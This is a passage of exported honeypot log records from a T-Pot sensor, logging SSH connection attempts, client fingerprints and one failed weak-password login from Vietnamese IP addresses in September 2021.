21427	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:52.437823+03	2021-09-20 14:15:03.652612+03	{"_id": "cgbjAnwBvYTbRNuEJQPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0f30c03f99b2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:52.437823Z", "@timestamp": "2021-09-20T11:06:52.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21428	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:52.631752+03	2021-09-20 14:15:03.654613+03	{"_id": "cwbjAnwBvYTbRNuEJQPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "554c9cd49e1b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:52.631752Z", "@timestamp": "2021-09-20T11:06:52.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21429	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.032408+03	2021-09-20 14:15:03.655613+03	{"_id": "dAbjAnwBvYTbRNuEJQPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/123456789] failed", "session": "17afc4ffe90f", "@version": "1", "password": "123456789", "username": "test", "timestamp": "2021-09-20T11:06:53.032408Z", "@timestamp": "2021-09-20T11:06:53.032Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21430	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:53.169231+03	2021-09-20 14:15:03.656613+03	{"_id": "pwbjAnwBvYTbRNuEKAO_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1502089302508550, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59990, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.169231Z", "@timestamp": "2021-09-20T11:06:53.169Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21431	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:53.935742+03	2021-09-20 14:15:03.657613+03	{"_id": "zwbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:44182 (192.168.176.2:22) [session: 1e23fa26a58c]", "session": "1e23fa26a58c", "@version": "1", "protocol": "ssh", "src_port": 44182, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.935742Z", "@timestamp": "2021-09-20T11:06:53.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21432	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:53.948864+03	2021-09-20 14:15:03.658613+03	{"_id": "0QbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:44406 (192.168.176.2:22) [session: 8c86d8ce77a3]", "session": "8c86d8ce77a3", "@version": "1", "protocol": "ssh", "src_port": 44406, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.948864Z", "@timestamp": "2021-09-20T11:06:53.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21433	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:54.222407+03	2021-09-20 14:15:03.660614+03	{"_id": "-QbjAnwBvYTbRNuELAOp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1431342601282445, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51880, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.222407Z", "@timestamp": "2021-09-20T11:06:54.222Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21434	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:54.10274+03	2021-09-20 14:15:03.661613+03	{"_id": "-wbjAnwBvYTbRNuELAOp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 299126944979178, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39886, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.102740Z", "@timestamp": "2021-09-20T11:06:54.102Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21435	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:54.141002+03	2021-09-20 14:15:03.662613+03	{"_id": "_AbjAnwBvYTbRNuELAOp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 70523015783646, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50890, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.141002Z", "@timestamp": "2021-09-20T11:06:54.141Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21436	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:54.218499+03	2021-09-20 14:15:03.663613+03	{"_id": "_QbjAnwBvYTbRNuELAOp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 889094390283767, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44182, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.218499Z", "@timestamp": "2021-09-20T11:06:54.218Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21437	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.626027+03	2021-09-20 14:15:03.664642+03	{"_id": "AwbjAnwBvYTbRNuELgQN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2523bada16f3", "@version": "1", "timestamp": "2021-09-20T11:06:54.626027Z", "@timestamp": "2021-09-20T11:06:54.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21438	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.91959+03	2021-09-20 14:15:03.666645+03	{"_id": "EwbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59056 (192.168.176.2:22) [session: 5359a7b6c7bf]", "session": "5359a7b6c7bf", "@version": "1", "protocol": "ssh", "src_port": 59056, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.919590Z", "@timestamp": "2021-09-20T11:06:54.919Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21439	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:54.696401+03	2021-09-20 14:15:03.667645+03	{"_id": "IgbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:52872 (192.168.176.2:22) [session: 25de37ec5487]", "session": "25de37ec5487", "@version": "1", "protocol": "ssh", "src_port": 52872, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.696401Z", "@timestamp": "2021-09-20T11:06:54.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21440	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:54.219483+03	2021-09-20 14:15:03.668642+03	{"_id": "GAbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1e23fa26a58c", "@version": "1", "timestamp": "2021-09-20T11:06:54.219483Z", "@timestamp": "2021-09-20T11:06:54.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21441	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:54.141137+03	2021-09-20 14:15:03.669645+03	{"_id": "JwbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 